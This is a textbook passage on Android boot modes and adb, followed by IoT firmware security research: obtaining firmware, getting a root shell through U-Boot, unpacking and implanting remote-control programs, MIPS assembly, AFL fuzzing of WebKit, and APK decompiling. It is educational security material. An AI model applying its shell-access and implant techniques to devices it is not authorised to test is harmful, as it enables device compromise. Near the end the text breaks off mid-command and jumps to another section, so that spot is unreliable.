Fastboot is used as a diagnostic protocol to connect the device to flash through the device’s USB interface. The device in the Fastboot state runs in the bootloader stage, so it is a lower-level flashing mode. Generally, we can enter the fastboot mode by pressing the key combination when the device is turned on. For example, Xiaomi phone can be accessed by pressing the power button and the volume down button when the phone is off. The device that enters the fastboot mode may always display the boot interface or fastboot related prompts. Before using fastboot, we need to install fastboot on the computer, which can be generated by compiling the Android source code, or downloaded directly at https:// dl.google.com/android/repository/platform-tools-latest-windows.zip. Connect the device to the computer with USB, and run the fastboot devices instruction under the instruction line of the computer end to view the connected fastboot mode devices. The example is as follows: $ fastboot devices d341079e fastboot
3.3 Overview of the Android System
115
Table 3.12 Common fastboot instructions Instruction fastboot devices fastboot getvar all fastboot reboot fastboot reboot-bootloader fastboot flash
fastboot erase fastboot format fastboot oem unlock fastboot oem edl
Functions Show connected fastboot devices Display device configuration information (such as whether to unlock, etc.) Restart the device Restart to bootloader Write to partition Erase partition Format partition oem unlock (after unlocking, third-party firmware is allowed) Enter edl mode (if supported by the device)
Table 3.12 shows the commonly used fastboot instructions.
3.3.4.2
Recovery
Recovery is a partition in the Android device. It restores the system by inserting an SD card with a ROM package. The Recovery partition, which is regarded as the backup partition of the boot partition, has the same format as the boot partition mentioned in Sect. 3.3.2, that is, the android bootimg format. For devices with damaged boot partition, it can enter the recovery partition to recover. If the recovery partition is also damaged, you can only enter the fastboot mode and refresh the image to recover. Generally, the device can be entered into recovery mode by pressing the specified key combination when booting. For example, some Xiaomi phones can be entered by pressing the power button and volume + when they are turned off. Figure 3.16 shows the interface of an Android system smart device after entering Recovery mode. It provides functions such as rebooting to bootloader (that is, entering fastboot mode), erasing certain partitions, updating from ADB, and updating from SD card. The Recovery partition mainly contains: $ ls bin fstab.mt8163 sbin charger init seapp_contexts data init.rc selinux_version default.prop init.recovery.mt8163.rc sepolicy dev meta_init.modem.rc service_contexts enableswap.sh meta_init.project.rc sys etc meta_init.rc system factory_init.project.rc proc tmp factory_init.rc property_contexts ueventd.mt8163.rc file_contexts res ueventd.rc
116
3 Basic Knowledge of Firmware
Fig. 3.16 Recovery mode interface of android system
Compared with the boot partition, the recovery program exists in the sbin/ directory. Since the recovery partition does not need to have all the functions of initializing the device, it has less init.rcscript than the boot partition.
3.3.5
Android Debug Bridge
Android Debug Bridge (ADB) is an instruction tool for connecting Android devices and running instruction. It can upload and download files, install and uninstall apps, and get Linux shells. In addition to the instruction line form, there are also adb client tools with a graphical interface. Before using adb, we need to install the adb client on the computer, which can be generated by compiling the Android source code, or directly downloaded at https:// dl.google.com/android/repository/platform-tools-latest-windows.zip. Open adb on the device (usually in the developer options page), after connecting to the computer, and run the following instruction under the instruction line on the computer side to view the connected adb device: $ adb devices
Commonly used adb instructions are shown in Table 3.13.
3.3 Overview of the Android System
117
Table 3.13 Common adb instructions instruction adb devices adb pull adb push adb install adb uninstall adb shell adb root adb reboot adb reboot bootloader(/edl)
Functions Show connected adb device Download the of the device to the local Upload the local to the device's Install application Uninstall the Switch to shell mode Get root permissions Restart the device Restart the device to fastboot mode (/edl mode)
3.3.6
Hardware Device Interface
3.3.6.1
Storage Device
When using files in the application’s data folder, we can use the openFileOutput and openFileInput methods to open the file IO stream. But the data will be deleted after the application is deleted, so some data will be saved to the SD card. We can access the storage on the SD card by calling the related methods of the Environment class, or by environment variables, for example: //Obtain SD card path through environment variablesString sdcardPath = System.getenv("EXTERNAL_STORAGE "); //Get the SD card path through the getExternalStorageDirectory() method String sdcardPath = Environment.getExternalStorageDirectory(). getAbsolutePath();
3.3.6.2
Audio Device
Android uses the android.media library; the bottom layer uses the TinyALSA audio interface. For example, the recording program uses the android.media.AudioRecord class. The construction parameters are as follows: //Parameters: audio source, sample rate (Hz), number of channels, encoding system (16-bit or 8-bit, etc.), data buffer size AudioRecord(int audioSource, int sampleRateInHz, int channelConfig, int audioFormat, int bufferSizeInBytes)
118
3.3.6.3
3 Basic Knowledge of Firmware
Camera
Versions above Android 5.0 use camera v2 API; the library is android.hardware. Camera2. The main classes are: • CameraManager • CameraCharacteristics • CameraCaptureSession
3.3.7
Application
Android app development is an API programming for application frameworks. This book only briefly introduces the application structure, so readers are hoped to refer to other materials for app development related content.
3.3.7.1
Application Structure
Figure 3.17 shows the structure of a new Android project using Eclipse. The directory structure of the project: 1. The java source code of the project is stored in the src directory. 2. The resource files of the project are stored in the res directory: a. Image resources of different sizes are stored in the drawable folder; b. the application layout file in xml format is stored in the layout folder; c. the resource description files in xml format are stored in the values folder, including colors (colors.xml), styles (styles.xml), dimensions (dimens.xml), strings (strings.xml), arrays (arrays.xml), etc. 3. The AndroidManifest.xml file describes the components, functions, resources, data, etc. included in this application.
3.3.7.2
Basic Components of the Application
The basic application components of Android include Activity, Service, BroadcastReceiver, ContentProvider, etc. Activity, as an application component responsible for the interaction between the device screen and the user, has a window with a user interface that can fill the screen, or it can be smaller than the screen. The main activity should be started before starting the application. The Activity communicating through the Intent can start another Activity, and the state of the previous Activity will be retained.
3.3 Overview of the Android System
119
Fig. 3.17 The directory structure of the android project
Service, as an application component responsible for the background operation associated with the application, is run in the background and will not block the interaction between the application and the background. BroadcastReceiver is used to process the communication information between the Android system and the application. ContentProvider is used to manage data and databases, and can provide data from one application to another by request.
120
3 Basic Knowledge of Firmware
Android Package (.apk)
.dex file
Android Project
Compile and package
ADB Resource .arsc
Sign
Device or Simulator
Uncompiled resource
AndroidManifest.xml
Fig. 3.18 APK construction process
3.3.7.3
Application Construction Process
Figure 3.18 shows the construction process of the application (this figure was modified on the basis of the official release flowchart). It needs to include the following stages: 1. The APK file is generated after the Android project is compiled and packaged. The compiler first converts the source code into DEX files (Dalvik Executable), and converts other content into compiled resources (resources.arsc). Then the APK packager will package the DEX files, compiled resources, and other uncompiled resources into an APK package. The APK package contains DEX files (.dex), compiled resource files resources.arsc, uncompiled resource files (pictures, audio and video resources in the asserts directory, etc.), AndroidManifest.xml, etc. 2. The packaged APK file needs to be signed before it can be deployed to the device or simulator. We can use debug keystore or release keystore to sign. 3. Before generating the final APK, the packer may optimize the APK package to reduce the memory usage of the device when the application runs.
Chapter 4
Analysis of Firmware Vulnerabilities
This chapter will introduce typical security penetration schemes in IoT firmware. Generally, the steps of security penetration include: obtaining firmware, modifying firmware, program analysis, vulnerability mining, and vulnerability exploitation. The researcher’s experience in each step will help readers avoid obstacles, and this chapter introduces shortcuts to common IoT products. After reading this chapter, readers will be able to discover and analyze the complex security vulnerabilities of smart devices.
4.1
Analysis of Firmware Vulnerability of Embedded Linux System
4.1.1
The Acquisition of Firmware
The acquisition of firmware is considered as the first step in studying the security of smart devices. There are many ways to obtain firmware, and we can choose the appropriate method for the equipment used, or a combination of multiple methods. This section will introduce several common methods, and on the basis of protecting the equipment, the software method is regarded as the best choice, which is followed by the hardware.
4.1.1.1
Download from the Website
Some devices support downloading firmware directly from the official website, through which users can update the system themselves. The firmware download will generally be displayed on the technical support page. Figure 4.1 shows the download page of a certain model of router firmware on the Dlink official website. © The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2021 Q. Tang, F. Du, Internet of Things Security: Principles and Practice, https://doi.org/10.1007/978-981-15-9942-2_4
121
122
4 Analysis of Firmware Vulnerabilities
Fig. 4.1 Download page of Dlink router firmware
4.1.1.2
Capture Update Packages
We can get the firmware by capturing the update package. Choose the firmware update on the device and use wireshark to capture the packet, and then extract the firmware in the data packet. Figure 4.2 shows a TCP data stream in a data packet captured by a device using wireshark. We can download and obtain the firmware by visiting the URL of the GET request. Some firmware transmitted via HTTP can also be exported in the "File""Export Object"-"HTTP" in the wireshark menu bar. In addition, we can directly copy the transmitted binary data to a hexadecimal editor such as HxD and save the file. We use the url in the data package in Fig. 4.2 to download the firmware, which is displayed in HxD as an ELF file (Fig. 4.3).
4.1.1.3
Get Through Serial Interface
When the serial interface that can connect to the device that has output and can receive input, we can obtain the firmware in the following ways. First, obtain it through the commands of the system boot program such as uboot; second, obtain it through the shell. The acquisition method will be illustrated in the following example section.
4.1 Analysis of Firmware Vulnerability of Embedded Linux System
123
Fig. 4.2 Download page of Dlink router firmware
1. Get through the system boot program. If the device can be disconnected by input and enter the command line of the system boot program when the device is turned on, we can try to use the bootloader command to obtain it. The commonly used uboot commands in Chap. 3 have been introduced. The uboot commands that can be used to obtain firmware are commands related to environment variable settings, such as printenv, setenv, saveenv, etc. This method has been used in sect. 3.2.8. Modify the environment variable to start the shell command when the system starts: uboot> setenv mmcargs 'setenv bootargs console=${console} root= ${root} ${mount_type} rootwait ${config_extra} init=/bin/sh'
After obtaining the shell, we can use the method in (2) to obtain the firmware. In addition, we can use uboot's md command to export the firmware in the device using NOR flash through direct addressing. The format of this command is: uboot> md [memory address] [length]
124
4 Analysis of Firmware Vulnerabilities
Fig. 4.3 Firmware Downloaded through Data Package
The memory address and length of the partition where the firmware is located can be obtained in the log information of the device startup and through the bdinfo command of uboot. 2. Get through Shell If you can get the shell of the device after the serial interface is connected, you can also use the dd command to export the contents of the partition where the firmware is
4.1 Analysis of Firmware Vulnerability of Embedded Linux System
125
located, and use the nc command to transfer the copied firmware through the network.
4.1.1.4
Extract via Hardware Interface
If you can't get the firmware through software, you can try to use hardware extraction, such as reading through hardware interfaces such as JTAG, or extracting memory chips such as flash to read the chip content. The specific method has been introduced in the first chapter.
4.1.1.5
Get Through Vulnerabilities
We can obtain firmware through certain vulnerabilities in the device, such as USB vulnerabilities.
4.1.2
Modify Firmware
4.1.2.1
Unpack Tools
The third chapter introduces SquashFS, cramfs, and Android's bootimg file system and tools for unpacking and packaging. We can use binwalk and firmware-mod-kit, the most widely used firmware extraction tools, to extract the firmware of other file systems. 1. Binwalk Open-source binwalk is currently one of the most used firmware analysis tools, which can be used for firmware analysis, reverse engineering, and firmware extraction. We can download and install it at https://github.com/ReFirmLabs/binwalk. Binwalk supports Python2.7-3.x, with slightly different installation commands. After downloading the source code, we use the following command to install Python3.x. # Python3.x: $ sudo python3 setup.py install
Generally, we can use all binwalk functions after installing dependencies. The following scripts in the source code can be run on Debian/Ubuntu systems: $ sudo ./deps.sh
126
4 Analysis of Firmware Vulnerabilities
Table 4.1 Common Binwalk parameters Parameters -B, --signature -x, -exclude¼ -y, -include¼ -e, --extract -C, -directory¼ -M, -matryoshka -W, --hexdump -l, -length¼ -o, -offset¼ -h, --help
Types Scan parameters Scan parameters Scan parameters Extract parameters Extract parameters Extract parameters Reduced parameters General parameters General parameters General parameters
Functions Scan the signatures of common files Exclude filters and text that matches the rules Contains filters; its search results are only those that match the text that matches the rules Automatically extract known file types from files Extract to the specified directory and the default is the current directory Recursive scanning and extract files Output a single file in hexadecimal format or compare multiple files Number of bytes scanned Start scanning from a fixed offset Output help information
In addition, the following is how to install binwalk IDA plugin on Debian/Ubuntu system: $ python setup.py idainstall --idadir=[ida installation path]
Run the following to uninstall binwalk, $ # Python3.x: $ sudo python3 setup.py uninstall
Usage of binwalk: $ binwalk [Parameter] [File 1] [File 2] [File 3]
Optional parameters include signature scanning, firmware extraction, exergy analysis, binary comparison, decompression parameters, and general parameters. Table 4.1 shows the commonly used parameters. Extract the contents of the demo.squashfs file system to the demofolder folder with binwalk: $ binwalk -e demo.squashfs -C demofolder DECIMAL
HEXADECIMAL
DESCRIPTION
4.1 Analysis of Firmware Vulnerability of Embedded Linux System
127
Table 4.2 The Main Scripts of Firmware-mod-kit Script extract-firmware.sh build-firmware.sh ddwrt-gui-extract.sh ddwrt-gui-rebuild.sh
Functions Extract the file system Package the file system Extract web GUI files from the unpacked DD-WRT file system Put the modified web GUI file into the unpacked DD-WRT file system
0 0x0 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 19935656 bytes, 1529 inodes, blocksize: 131072 bytes, created: 2018-07-13 02:20:25
The extracted folder will be named after “_[file name before extraction]. extracted”. Binwalk's file type scanning is realized by scanning the magic value of the file header. libmagic is a C language library that recognizes Magic values. The file type scanning module in binwalk, which supports most libmagic features, is a replacement for libmagic, and there are also some other functions that show better performance for quickly scanning data blocks to search for file signatures. Binwalk supports the unpacking of multiple file systems, including SquashFS, JFFS2, UBIFS, YAFFS, StuffIt, etc. After getting the device firmware, we can first use binwalk to scan the file signature and try to extract the file system. If binwalk cannot be extracted, we can try to extract it using the firmware-mod-kit tool introduced in (2). 2. Firmware-mod-kit Firmware-mod-kit integrates a series of tools for packaging and unpacking embedded device file systems, including binwalk, squashfs-tools, mkcramfs and other tools, as well as extraction and modification of DD-WRT Web GUI pages, which are mainly used for routers based on the Linux platform equipment. The open source firmware-mod-kit can be downloaded from the Google code base: https://code.google.com/archive/p/firmware-mod-kit/. After downloading the source code, use the following command to install the dependencies of the Debian/Ubuntu system: $ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic
Table 4.2 shows the main scripts included in firmware-mod-kit. The following is how to use firmware-mod-kit to unpack and pack the file system: 1. Extract the file system with extract-firmware.sh:
128
4 Analysis of Firmware Vulnerabilities
$ ./extract-firmware.sh firmware.bin
The extract-firmware.sh script identifies the file system type to which the firmware belongs by identifying the file header information. Then use different tools to unpack to support SquashFS, CramFS, YAFFS, JFFS2, etc. It will be unpacked to the fmk/ directory by default. 2. Package file system with build-firmware.sh: $ ./build-firmware.sh [-nopad] [-min]
The build-firmware.sh script reads the file system in the fmk directory and then calls different packaging tools according to the type of file system. The packaged file system will be named after new-firmware.bin and placed in the fmk/ directory. If you use the -nopad parameter, the firmware will not be filled to its original size; if you use the -min parameter, the largest SquashFS block size (1MB) will be used.
4.1.2.2
Program Implantation
After unpacking the firmware, we can modify the file system or implant a remote control program or monitor program. After the program is implanted, we need to add the program to the system startup items. Different systems will lead to slight differences on operations, but they are generally added in init.rc.
4.1.2.3
Reformatting the Firmware
The methods are: 1. If the shell of the device can be obtained through the serial interface, we can use the dd command to directly write the modified and packaged firmware into the corresponding partition. 2. If we can enter the command line mode of the bootloader through the serial interface, we can also download the modified firmware through tftp and modify the environment variables to boot from the modified file system. 3. Replace the upgrade package when the device upgrades the firmware. 4. Some router devices can upload firmware on the background management page to update the system. The methods used on different devices are also different, which will be illustrated by specific devices in the example section.
4.1 Analysis of Firmware Vulnerability of Embedded Linux System
4.1.3
129
Basic Knowledge About Assembly
Home smart devices mainly use MIPS architecture or ARM architecture. Generally, gateways, routers, etc. use MIPS architecture, while handheld portable devices use ARM architecture. This section introduces the basic knowledge of MIPS assembly, program analysis, methods and examples of vulnerability exploitation. The method of program analysis and vulnerability exploitation of ARM-based smart devices is almost the same. MIPS (Microprocessor without Interlocked Pipelined Stages), as a simplified instruction set architecture, was developed in 1981 by a team led by Stanford University professor John LeRoy Hennessy. In 1984, Professor John LeRoy Hennessy left Stanford University and founded MIPS Technologies. Compared with other ARM architectures with reduced instruction set, the instruction types of MIPS architecture are simpler and emphasize speed and performance. It is now widely used in electronic products and network equipment including gateways, routers, and Sony PlayStation game consoles. The following part of this book will take 32-bit MIPS architecture as an example to introduce its basic knowledge, including registers, addressing methods, instruction sets, parameter passing mode, system calls, etc.
4.1.3.1
Program Structure and Data Storage
Segment The MIPS program is mainly composed of code segment and data segment. The format of the data segment in front of the code segment is as follows: example: .data
.text main:
# Variable declaration # ... # Instructions etc. # Start of code # ...
Data Types and Rules The instructions of the 32-bit MIPS program are all 32 bits. 1 “byte” is 8 bits; 1 “halfword” is 2 bytes; 1 “word” is 4 bytes. A character has a size of 1 byte; an integer has a size of 1 word, that is, 4 bytes.
130
4 Analysis of Firmware Vulnerabilities
The format of variable declaration is: Variable name: Storage type Value
For example: var1: .word 3 # var1 is an integer with a value of 3 array1: .byte 'a','b' #array1 is an array containing two characters array2: .space 40 # array2 is a 40-byte array; it can be 40 characters or 10 integers
4.1.3.2
Registers
General Registers The MIPS architecture has 32 general registers. The sign symbol "$" must be added before the register name. Table 4.3 shows the general register name and purpose.
Special Registers MIPS defines three special registers, namely $Lo, $Hi, and $pc. $Lo and $Hi are used to save the results of multiplication and division operations, and their content can only be read with mfhi (move from hi, read the content of $Hi) and mflo (move from lo, read the content of $Lo). $pc (program counter) always stores the address of the next instruction.
4.1.3.3
Instruction Sets
Instruction Format MIPS instructions include Register Instruction, Immediate Instruction, and Jump Instruction. All data in Register Instruction are stored in the register with instruction format: Instructions destination register, source register, target register
For example, in the following instruction, add the contents of $s2 and $s3, and store the result in $s1: add $s1,$s2,$s3
4.1 Analysis of Firmware Vulnerability of Embedded Linux System
131
Table 4.3 32 general registers of MIPS No. $0 $1
Name $zero $at
$2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 $18 $19 $20 $21 $22 $23 $24 $25 $26 $27 $28 $29 $30
$v0 $v1 $a0 $a1 $a2 $a3 $t0 $t1 $t2 $t3 $t4 $t5 $t6 $t7 $s0 $s1 $s2 $s3 $s4 $s5 $s6 $s7 $t8 $t9 $k0 $k1 $gp $sp $s8/ $fp $ra
$31
Remark – Assembler temporary Value 0 Value 1 Argument 0 Argument 1 Argument 2 Argument 3 Temporaries 0– 7
Functions Constant 0 Register reserved for assembly assembler The first return value of the function The second return value of the function The first four parameters passed in the function call; the remaining parameters are passed using the stack
Saved values 0– 7
The value saved by the callee that needs to be saved during the call
Temporaries 8– 9
Temporary register
Reserved for kernel
Operating system (kernel) reserved for handling exceptions
Global pointer Stack pointer Saved value/ frame pointer Return address
A global pointer to the static data segment A stack pointer pointing to the top of the stack A frame pointer retained during the call
Temporary register
Store return address
The operand of Immediate Instruction is an immediate value and a register value. The longest immediate value is 16 digits. The instruction format is: Instruction target register, (source register), immediate value
For example, in the following instruction, the content of $s2 is added to the immediate value 100, and the result is stored in $s1:
132
4 Analysis of Firmware Vulnerabilities
Fig. 4.4 The format of the three MIPS instructions
addi $s1,$s2,100
The Jump Instruction is used when jumping. The instruction format is: Instruction destination address
For example, jump to the address pointed to by $ra: jr $ra
Figure 4.4 shows the format comparison of the three types of instructions. In the Register Instruction, the 5-bit offset is used for shift operations and cyclic shift operations; the 6-bit function value is used to distinguish different instructions when the opcode is shared. For example, the following instruction completes the addition operation: add $s1, $s2, $s3
The number of $s1 in the general register is $17. The register is represented by 00000-11111 five-digit binary in the instruction. 17 is represented as 10001 in binary. The corresponding command format is: #OPCODE $s1 $s2 $s3 The add function is not used 000000 10001 10010 10011 00000 100000
Common Instructions Commonly used MIPS instructions include data read and write instructions, addressing instructions, arithmetic instructions, jump instructions, and system call instructions. Table 4.4 shows the data read and write instructions. Table 4.5 shows the arithmetic instructions. The skip instructions are summarized in Table 4.6. Before MIPS uses the syscall instruction to call the system, the call number needs to be stored in $v0. If the system call requires parameters, the parameters should also
4.1 Analysis of Firmware Vulnerability of Embedded Linux System
133
Table 4.4 MIPS Data Read and Write Instructions Instructions lw lb sw sb li la
Functions Copy 1 word of data from the memory address to register Copy 1 byte of data from the memory address to the register and store it at the lowest byte Store the data of the lowest byte of the register in the memory address Store one byte of data in register into memory address Save the immediate data to register Store the address of the variable in memory into register
Usages lw target register, memory address lb target register, memory address sw register, target address sb register, target address li target register, immediate value la target register, variable
Examples lw $t0, var1 lb $t0, var1 sw $t1, var1 sb $t1, var1 li $t0, 1 la $t0, var1
Table 4.5 Arithmetic Instructions of MIPS Instruction add sub addi addu
Functions + Addition of immediate value Unsigned integer addition
Examples add $t0,$t1,$t2 sub $t0,$t1,$t2 addi $t0,$t1,2 addu $t0,$t1, $t2 subu $t0,$t1, $t2 mult $t3,$t4
subu
Unsigned integer subtraction
mult div
Multiplication with the result of $Hi and $Lo Division with the result of $Hi and $Lo
div $t3,$t4
mfhi mflo move
Read the value of $Hi Read the value of $Lo Copy value
mfhi $t5 mflo $t5 move $t6,$t7
Meanings $t0 ¼ $t1+$t2 $t0 ¼ $t1-$t2 $t0 ¼ $t1+2 $t0 ¼ $t1+$t2 $t0 ¼ $t1-$t2 ($Hi,$Lo) ¼ $t3 * $t4 $Lo ¼ $t3 / $t4 $Hi ¼ $t3 mod $t4 $t5 ¼ $Hi $t5 ¼ $Lo $t6¼$t7
Table 4.6 Skip Instructions of MIPS Instructions b beq blt ble bgt bge bne j jr jal
Examples b target beq $t0,$t1,target blt $t0,$t1,target ble $t0,$t1,target bgt $t0,$t1,target bge $t0,$t1,target bne $t0,$t1,target j target jr $t0 jal sub_label
Meanings Unconditional branch Skip when $t0 ¼ $t1 Skip when $t0 < $t1 Skip when $t0 $t1 Skip when $t0 >¼ $t1 Skip when $t0 !¼ $t1 Skip to target address Skip to the address stored in $t0 register Skip and link, that is, save the pc pointer to $ra and then skip
134
4 Analysis of Firmware Vulnerabilities
Table 4.7 Examples of MIPS system call services Name print_int print_string
Call Number 1 4
read_int read_string sbrk
5 8 9
exit
10
Parameter $a0 ¼ Integer to output $a0 ¼ The string to be output (terminated with /0) – – $a0 ¼ The number of bytes of space that needs to be allocated –
Result – – $v0 ¼ Integer read $v0 ¼ String read $v0 ¼ The address of the allocated space –
be stored in a specific register before the call. For example, the following instruction outputs the integer value in register: li $v0, 1 # The call number of print_int is 1 and is stored in $v0 move $a0, $t0 # Assuming that an integer copied to $a0 is stored in $t0, that is, $a0 = $t0 syscall # Run syscall instruction
Table 4.7 shows the system call service. You can check the relevant manuals online for the full list.
4.1.3.4
Strategies of Addressing
MIPS generally uses register base address and immediate value offset when addressing. For example, in the following statement, the register base address is the address of $t0 and the offset is immediate value 4. Copy the content at the address ($t0+4) to $t1, and the content should be one word in size: lw $t1, 4($t0)
In addition, MIPS has other addressing methods, such as pc relative addressing, etc., which will not be introduced in detail in this book.
4.1.3.5
Function Call and Stack
1. Parameter Passing Mode When calling a sub-function, the first four parameters are passed by register $a0$a3. If there are more than 4 parameters, the remaining parameters are passed by the stack. But there is still room for the first four parameters on the stack. 2. Return Value The return value is stored in $v0 and $v1 register.
4.1 Analysis of Firmware Vulnerability of Embedded Linux System Fig. 4.5 Process of MIPS function call
135
Low address ... SP
Local variable ...
Saved register
Callee
Return address The first parameter, $0 The second parameter, $1 The third parameter, $2 The fourth parameter, $3
Caller
The fifth parameter The sixth parameter Other variables Previous stack High address
3. Return Address The return address is stored in $ra. 4. Stack Pointer The $sp that will move in the sub-function points to the top of the stack; the $fp that will not move in the sub-function points to the bottom of the stack. 5. Function Call Figure 4.5 shows the function call process. The stack grows from high address to low address. When calling a function, it will go through the following stages: • The caller stores the parameters in register $a0-$a3. If there are more than four parameters, the remaining parameters will be placed on the stack, but the position of the first four parameters will also be reserved on the stack. • The callee reads the parameters from register or the stack. • If the callee is a non-leaf function (the callee also calls other functions), it will first push the value of $raregister (return address) and some other register values to the stack. Next, the callee pushes to the stack to save registers, variables or pass parameter values to the functions it calls according to their needs. • The return value passed by the callee to the caller is stored in register $v0-$v1.
136
4.1.4
4 Analysis of Firmware Vulnerabilities
Example: Fuzzing with AFL
Webkit’s JavaScriptCore (JSC), as the Javascript engine embedded in webkit, is a commonly used browser core. This example uses AFL to fuzz the JSC of Webkit. Software version of this example: Version of the compiled host: Ubuntu 18.04 AFL-fuzz version: AFL-fuzz 2.52b WebKit version: WebKit r235496
4.1.4.1
Setting up the Environment
Download AFL In Ubuntu, AFL can be installed directly using apt, or compiled and installed after downloading the source code from AFL's official website: #Method 1: $ sudo apt-get install afl #Method 2: git clone https://github.com/mcarpenter/afl.git $ sudo make install
Download of webkit Source Code Download the source code package on the webkit official website: https://webkit. org/getting-the-code/. Then execute the following command to unzip and download the source package that will be updated every day; then unzip the package: $ tar jxvf WebKit-SVN-source.tar.bz2 $ cd webkit
Or use SVN to download: $ svn checkout https://svn.webkit.org/repository/webkit/trunk WebKit
And you can run the update-webkit script to update the source code. Or download from GitHub: $ git clone git://git.webkit.org/WebKit.git WebKit
4.1 Analysis of Firmware Vulnerability of Embedded Linux System
4.1.4.2
137
Source Code Compilation
Install Library Dependencies When compiling, we first need to execute the script provided by WebKit to install library dependencies: $ ./WebKit/Tools/gtk/install-dependencies //Download jhbuild compilation tool to compile gnome environment $ ./WebKit/Tools/Script/update-webkitgtk-libs
Network problems may cause the following download errors: $ git clone https://github.com/jhbuild.git clone 'jhbuild'... remote: Counting objects: 3658, done. error: RPC failed; curl 56 GnuTLS recv error (-54): Error in the pull function. fatal: The remote end hung up unexpectedly fatal: (EOF) fatal: index-pack failed Failed to build GTK+ port dependencies with jhbuild Died at ./WebKit/Tools/Scripts/update-webkitgtk-libs line 24.
The network speed is unstable and the clone content is updated too much, so you need to set a larger postBuffer and use the following command to solve it: $ git config --global http.postBuffer 524288000
AFL Compilation Settings After the above installation package is installed, we can compile and set AFL: $ cd webkit $ export AFL_HARDEN=1 $ export AFL_INST_RATIO=30 //$ export CC=/path/to/afl-gcc gcc translator $ export CC=/path/to/afl-clang clang translator //$ export CXX=/path/to/afl-g++ $ export CXX=/path/to/afl-clang++ $ ./Tools/Scripts/build-jsc --gtk --makeargs="-j4"
If the code is obtained from svn, we enter the webkit directory and execute the compiled script to get:
138
4 Analysis of Firmware Vulnerabilities
$ cd ./WebKitBuild/Release/bin/jsc //$ export CC=/path/to/afl-gcc gcctranslator $ export CC=/path/to/afl-clang clangtranslator //$ export CXX=/path/to/afl-g++ $ export CXX=/path/to/afl-clang++
In the process of adopting translator, we first adopted afl-gcc, but the following error occurred after compilation: $ afl-fuzz -i ./fuzz-in/ -o ./results/ -m none ./jsc afl-fuzz 2.52b by [+] You have 2 CPU cores and 1 runnable tasks (utilization: 50%). [+] Try parallel jobs - see /usr/share/doc/afl-doc/docs/ parallel_fuzzing.txt. [*] Creating hard links for all input files... [*] Validating target binary... [-] Looks like the target binary is not instrumented! The fuzzer depends on compile-time instrumentation to isolate interesting test cases while mutating the input data. For more information, and for tips on how to instrument binaries, please see /usr/share/doc/afl-doc/docs/README. When source code is not available, you may be able to leverage QEMU mode support. Consult the README for tips on how to enable this. (It is also possible to use afl-fuzz as a traditional, "dumb" fuzzer. For that, you can use the -n option - but expect much worse results.) [-] PROGRAM ABORT : No instrumentation detected Location : check_binary(), afl-fuzz.c:6920
The reason is as follows: In Ubuntu 18.04, due to the update of the afl-gcc version, the afl-gcc (gcc-7 7.3.0-16) editor can no longer use the attached assembly language to install tools into the target binary file. In other words, the use of webkit jsc files compiled by $ export CC¼/path/to/afl-gcc cannot be used for fuzzing; for example, afl-showmap will output the same error message. As an alternative to the previous one, gcc-7 7.3.0-18 solves this problem. You can use clangtranslator's afl-clang to properly prepare the target binary file: $ export CC=/path/to/afl-clang $ export CXX=/path/to/afl-clang++
afl-clang can be used directly to compile. Here, when we select the path of aflclang, choose the path to download afl. Generally we choose the default path to install, and you can type afl-gcc to view: $ afl-gcc afl-cc 2.52b by This is a helper application for afl-fuzz. It serves as a drop-in replacement for gcc or clang, letting you recompile third-party code with the required
4.1 Analysis of Firmware Vulnerability of Embedded Linux System
139
runtime instrumentation. A common use pattern would be one of the following: CC=/usr/bin/afl-gcc ./configure CXX=/usr/bin/afl-g++ ./configure You can specify custom next-stage toolchain via AFL_CC, AFL_CXX, and AFL_AS. Setting AFL_HARDEN enables hardening optimizations in the compiled code.
Since the latest version of webkit was compiled with reference to the tutorial on the official website, the compilation speed is fast and smooth. Install a missing dependency package: -- Checking for module 'libwoff2dec' -- No package 'libwoff2dec' found -- Could NOT find WOFF2Dec: Found unsuitable version "", but required is at least "1.0.2" (found WOFF2DEC_INCLUDE_DIRS-NOTFOUND) CMake Error at Source/cmake/OptionsGTK.cmake:351 (message): libwoff2dec is needed for USE_WOFF2. Call Stack (most recent call first): Source/cmake/WebKitCommon.cmake:61 (include) CMakeLists.txt:156 (include)
According to the prompt No package'libwoff2dec' found, if you download package'libwoff2dec' directly, it will report an error. After checking the related dependency packages, libwoff-dev is missing there, so execute the following command to download: $ sudo apt-get install libwoff-dev
After installation, continue to compile: [1336/1336] Linking CXX executable bin/testb3 ============================================== ====================== JavaScriptCore is now built (36m:38s) ============================================== ======================
4.1.4.3
Fuzzing Webkit JSC with AFL
The command format of AFL is: $ afl-fuzz -i %input% -o %output% -t %timeout% -m %memory% fuzz_program fuzz_program_arguments
140
4 Analysis of Firmware Vulnerabilities
The meaning of AFL parameters is as follows: 1. i %input%: Use test samples in the specified directory. 2. o %output%: Save the Fuzzing result to the specified directory. 3. t %timeout%: An optional parameter that represents the program running timeout value in milliseconds. 4. m %memory%: An optional parameter in MB representing the maximum operating memory. 5. fuzz_program fuzz_program_arguments: Specify the fuzzing program and program operating parameters. Enter the following command to run AFL: $ afl-fuzz -i ./fuzz-in/ -o ./results/ ./jsc
There may be some errors: [-] Hmm, your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed to the fuzzer via the standard waitpid() API. To avoid having crashes misinterpreted as timeouts, please log in as root and temporarily modify /proc/sys/kernel/core_pattern, like so: echo core >/proc/sys/kernel/core_pattern [-] PROGRAM ABORT : Pipe at the beginning of 'core_pattern' Location : check_crash_handling(), afl-fuzz.c:7275
We can troubleshoot according to detailed AFL tips: $ sudo bash $ echo core >/proc/sys/kernel/core_pattern $ exit
The error message is as follows: [-] Hmm, looks like the target binary terminated before we could complete a handshake with the injected code. There are two probable explanations: - The current memory limit (50.0 MB) is too restrictive, causing an OOM fault in the dynamic linker. This can be fixed with the -m option. A simple way to confirm the diagnosis may be:
4.1 Analysis of Firmware Vulnerability of Embedded Linux System
141
( ulimit -Sv $[49 dex2jar-2.0\d2j-dex2jar classes.dex dex2jar classes.dex -> .\classes-dex2jar.jar
The generated jar package can be opened with jd-gui tool. As a Java antitranslator, jd-gui can be downloaded at http://jd.benow.ca/. Figure 4.11 shows the interface of using jd-gui to open a jar package.
Apktool Apktool can be used to decompile the dex file in the APK package into a smali file, and decompile the AndroidManifest.xml file and resource files at the same time. This can be downloaded at https://ibotpeaches.github.io/Apktool/. The command format for decompilation of Apktool as a command line tool is: $ apktool d[ecode] [options]
